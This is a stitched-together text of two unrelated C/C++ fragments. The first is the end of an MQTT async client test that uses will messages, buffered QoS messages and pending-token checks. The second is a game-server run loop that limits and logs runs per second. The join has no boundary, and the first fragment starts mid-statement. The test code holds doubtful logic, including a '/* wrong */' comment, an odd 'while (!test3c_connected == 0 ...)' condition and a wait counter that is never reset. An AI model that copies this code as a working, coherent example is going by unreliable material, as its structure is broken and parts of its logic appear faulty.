MQTTASYNC_SUCCESS, "rc was %d", rc); opts.will = NULL; /* don't need will for this client, as it's going to be connected all the time */ opts.context = d; opts.onSuccess = test3dOnConnect; opts.onFailure = test3dOnFailure; MyLog(LOGA_DEBUG, "Connecting client d"); rc = MQTTAsync_connect(d, &opts); assert("Good rc from connect", rc == MQTTASYNC_SUCCESS, "rc was %d ", rc); if (rc != MQTTASYNC_SUCCESS) { failures++; goto exit; } /* wait until d is ready: connected and subscribed */ count = 0; while (!test3dReady && ++count < 10000) MySleep(100); assert("Count should be less than 10000", count < 10000, "count was %d", count); /* wrong */ rc = MQTTAsync_setConnected(c, c, test3cConnected); assert("Good rc from setConnectedCallback", rc == MQTTASYNC_SUCCESS, "rc was %d", rc); /* let client c go: connect, and send disconnect command to proxy */ opts.will = &wopts; opts.will->message = "will message"; opts.will->qos = 1; opts.will->retained = 0; opts.will->topicName = willTopic; opts.onSuccess = test3cOnConnect; opts.onFailure = test3cOnFailure; opts.context = c; opts.cleansession = 0; opts.automaticReconnect = 1; MyLog(LOGA_DEBUG, "Connecting client c"); rc = MQTTAsync_connect(c, &opts); assert("Good rc from connect", rc == MQTTASYNC_SUCCESS, "rc was %d ", rc); if (rc != MQTTASYNC_SUCCESS) { failures++; goto exit; } /* wait for will message */ while (!test3_will_message_received && ++count < 10000) MySleep(100); MyLog(LOGA_DEBUG, "Now we can send some messages to be buffered"); test3c_connected = 0; /* send some messages. Then reconnect (check connected callback), and check that those messages are received */ for (i = 0; i < 3; ++i) { char buf[50]; MQTTAsync_message pubmsg = MQTTAsync_message_initializer; MQTTAsync_responseOptions opts = MQTTAsync_responseOptions_initializer; sprintf(buf, "QoS %d message", i); pubmsg.payload = buf; pubmsg.payloadlen = strlen(pubmsg.payload) + 1; pubmsg.qos = i; pubmsg.retained = 0; rc = MQTTAsync_sendMessage(c, test_topic, &pubmsg, &opts); assert("Good rc from sendMessage", rc == MQTTASYNC_SUCCESS, "rc was %d ", rc); } rc = MQTTAsync_getPendingTokens(c, &tokens); assert("Good rc from getPendingTokens", rc == MQTTASYNC_SUCCESS, "rc was %d ", rc); i = 0; if (tokens) { while (tokens[i] != -1) ++i; MQTTAsync_free(tokens); } assert("Number of getPendingTokens should be 3", i == 3, "i was %d ", i); /* wait for client to be reconnected */ while (!test3c_connected == 0 && ++count < 10000) MySleep(100); /* wait for success or failure callback */ while (test3_messages_received < 3 && ++count < 10000) MySleep(100); rc = MQTTAsync_getPendingTokens(c, &tokens); assert("Good rc from getPendingTokens", rc == MQTTASYNC_SUCCESS, "rc was %d ", rc); i = 0; if (tokens) { while (tokens[i] != -1) ++i; MQTTAsync_free(tokens); } assert("Number of getPendingTokens should be 0", i == 0, "i was %d ", i); rc = MQTTAsync_disconnect(c, NULL); assert("Good rc from disconnect", rc == MQTTASYNC_SUCCESS, "rc was %d ", rc); rc = MQTTAsync_disconnect(d, NULL); assert("Good rc from disconnect", rc == MQTTASYNC_SUCCESS, "rc was %d ", rc); exit: MQTTAsync_destroy(&c); MQTTAsync_destroy(&d); MyLog(LOGA_INFO, "%s: test %s. %d tests run, %d failures.", (failures == 0) ? "passed" : "failed", testname, tests, failures); write_test_result(); return failures; }
VOID GApp::Run( FLOAT fRPS/*=GUTRUN_DEFAULT_RUNLOOP_RPS*/ ) { __ENTER_FUNCTION m_fMaxRPS = fRPS; if( m_fMaxRPS <= 0.0f ) m_fIntervalPerRun = 0.0f; else m_fIntervalPerRun = 1.0f / m_fMaxRPS; g_TimeManager.Init(); g_TimeManager.SetTime(); m_Timer.Interval( GUTRUN_TIMER_CONTROL_INTERVAL ); // Do block run and control runs per second FLOAT fTimeStamp = m_fIntervalPerRun; FLOAT fTimeSlept = 0.0f; FLOAT fTimeToSleepS = 0.0f; INT iRuns = 0; INT iSkip = 1; // Estimate process usage data FLOAT fTimeSleep = 0.0f; // log burst frame FLOAT fMaxExceedTime = 999.0f; INT iBurstFrame = 0; m_Timer.Reset(); // tick timer GTimer tickTimer; tickTimer.Reset(); while( m_bQuit == FALSE ) { // Calculate how long time can sleep fTimeToSleepS = fTimeStamp - m_Timer.Seconds(); // log maximun exceed time if( fTimeToSleepS < fMaxExceedTime ) { fMaxExceedTime = fTimeToSleepS; iBurstFrame = iRuns; } // Do Sleep & Count sleep rate iSkip = 1; if( fTimeToSleepS > 0.001f ) { MySleep( (UINT)(fTimeToSleepS * 1000) ); fTimeSleep += fTimeToSleepS; } else { iSkip += (INT)( -fTimeToSleepS / m_fIntervalPerRun ); } // Calculate next time stamp fTimeStamp += m_fIntervalPerRun * iSkip; // Tick __Tick( iSkip, tickTimer.Seconds() ); tickTimer.Reset( ); // Increase run times ++iRuns; // Calculate RPS const FLOAT fTimePeriod = m_Timer.Seconds(); if( fTimePeriod > 0.1f ) { m_fRPS = ((FLOAT)iRuns) / fTimePeriod; } // Reset timer if on time if( fTimePeriod >= m_Timer.Interval() ) { // Calculate Time Used m_fAverageTimeUsedPerSec = 1.0f - fTimeSlept / fTimePeriod; if( DumpRPSInfo() ) { FLOAT fAvgSleep = 0.0f; if( fTimeSleep && fTimeStamp ) fAvgSleep = fTimeSleep / fTimeStamp; // Show system time & RPS g_Log.SaveLog( LOG_LV_NORMAL, "AppRun Info: RPS<%.2f>", m_fRPS ); } // Reset timer & data m_Timer.Reset(); fTimeStamp = m_fIntervalPerRun; iRuns = 0; // Reset sleep ratio data fTimeSleep = 0.0f; fTimeSlept = 0.0f; fMaxExceedTime = 999.0f; iBurstFrame = 0; } } __LEAVE_FUNCTION }